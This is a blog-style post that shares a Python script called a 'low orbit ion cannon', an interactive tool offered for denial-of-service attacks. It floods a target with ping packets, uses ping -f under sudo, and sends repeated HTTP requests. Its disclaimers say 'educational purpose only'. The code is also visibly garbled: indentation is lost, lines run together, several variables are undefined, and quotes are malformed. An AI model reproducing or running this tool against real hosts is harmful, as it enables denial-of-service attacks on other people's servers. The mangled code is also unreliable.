Python low orbit ion cannon

Here it is:
[cc lang=”python”]
# -*- coding: cp1252 -*-
import time
import os
from ftplib import *
import urllib.request
import socket
import re
liste=[‘whoami’, ‘whois’, ‘ping’, ‘ddos’, ‘help’, ‘http’,’del history’,’history’,’flood’,’ip’]
fin = False
adieu = [‘bye’, ‘salut’, ‘a+’, ‘ciao’, ‘exit’,’quit’,’killme’,’kill’,’stfu’,’see you’,’au revoir’]
help = ‘ DDOSPING for ddossing with ping of the death n HTTP for ddossing with http n PING just to ping a servern FLOOD to flood with pings (need administrador account) n HISTORY to show history n DEL HISTORY to delete the history n CTRL+C or EXIT to quitn WHOIS to whoisn WHOAMI if you are amnesicn IP to see your current ip adress’
title = ‘——————————————–‘
body = ‘~~~~~~~~~~~~~~~~~~~~~’
O = ”
run = ‘RUNNING’
ip = lignes
print (title+’npython L.O.I.C for python 3.2 Version 2n’+title)
print (‘HELP for commands and help’)
print (body+”nI’m not responsable of your acts with this software. nJe ne suis pas responsable de vos actes avec ce logiciel.n”+body)
while fin == False:
command=input(‘Hunt: ‘).lower()
if command == ‘ddosping’:
site = input(‘ping of the death … to: ‘)
if site == ‘cancel’:
fichier = open(‘history.txt’, ‘a’)
fichier.write(“ddos “+site+”n”)
cm = int(input(‘how many times?: ‘))
while a <= cm: print ("running ddossing...".upper()) ping=os.popen("ping " + site) a += 1 print (a) else: print (run.capitalize(),'ddosing...'.upper()) s = int(input("size of packets?")) s = " -s "+str(s) load = int(input("numbers of packets")) load = " -l "+str(load) site = site + '-t -f '+s +load com = int(input("How many times??: ")) print ("running ddossing".upper()) while b < com: ping=os.popen("ping " + site) b += 1 print (b) fichier = open('history.txt', 'a') fichier.write("ping "+site+'n') fichier.close() if command == 'del history': fichier = open('history.txt', 'w') fichier.write('') fichier.close() print("History deleted") if command == 'history': print ('History: n') try: fichier = open('history.txt', 'r') print( fichier.close() except IOError: print ('Not found !') if command == 'ping': pingsites = input('to~> ‘)
hm = str(input(“How many pings ? “))
wi = str(input(“What interval ? in sec “))
os.system(‘ping -c ‘+hm+’ -i ‘+wi+’ ‘+pingsites)
fichier = open(‘history.txt’, ‘a’)
fichier.write(“ping “+pingsites+’n’)
if command == ‘flood’:
os2=[‘debian’,’mac os’,’ubuntu’]
pingsites = input(‘ping to~> ‘)
hm = str(input(“How many pings ? “))
flood = str(‘ping -c ‘+hm+’ -f ‘+pingsites)
fdmu = str(input(“On what OS are you ? fedora/debian/mac os/ubuntun”)).lower()
print(“Please choose an OS.”)
if fdmu in os1:
os.system(‘su -c ‘+”‘”+flood+”‘”)
if fdmu in os2:
os.system(‘sudo ‘+flood)
if fdmu not in os1 and os2:
print(“This OS is not supported”)
fichier = open(‘history.txt’, ‘a’)
fichier.write(“pingflood “+pingsites+’n’)
if command == ‘http’:
e = 0
httpsite = input(“to~> “)
hwt = int(input(“How many times ? “))
fichier = open(‘history.txt’, ‘a’)
fichier.write(“httpddos “+httpsite+”n”)
while e<=hwt: with urllib.request.urlopen('http://'+httpsite+'/') as page: e += 1 print (e) if command == 'whois': whoisname = input("Who ? ") os.system("whois "+whoisname) fichier = open('history.txt', 'a') fichier.write("whois "+whoisname+"n") fichier.close() if command == 'whoami': os.system("whoami") if command == 'help': print (help) if command == 'ip': print ('local ip: '+socket.gethostbyname(socket.gethostname())+'nFinding external ip, will take a while') print('external ip: '+str(urllib.request.urlopen("").read(), "utf8")) if command in adieu: fin=True elif command not in liste: print ('> ?!’)
print (“Good bye”)

Other versions here

Educational purpose only! I am not responsible for any illegal usage / damage made by this tool.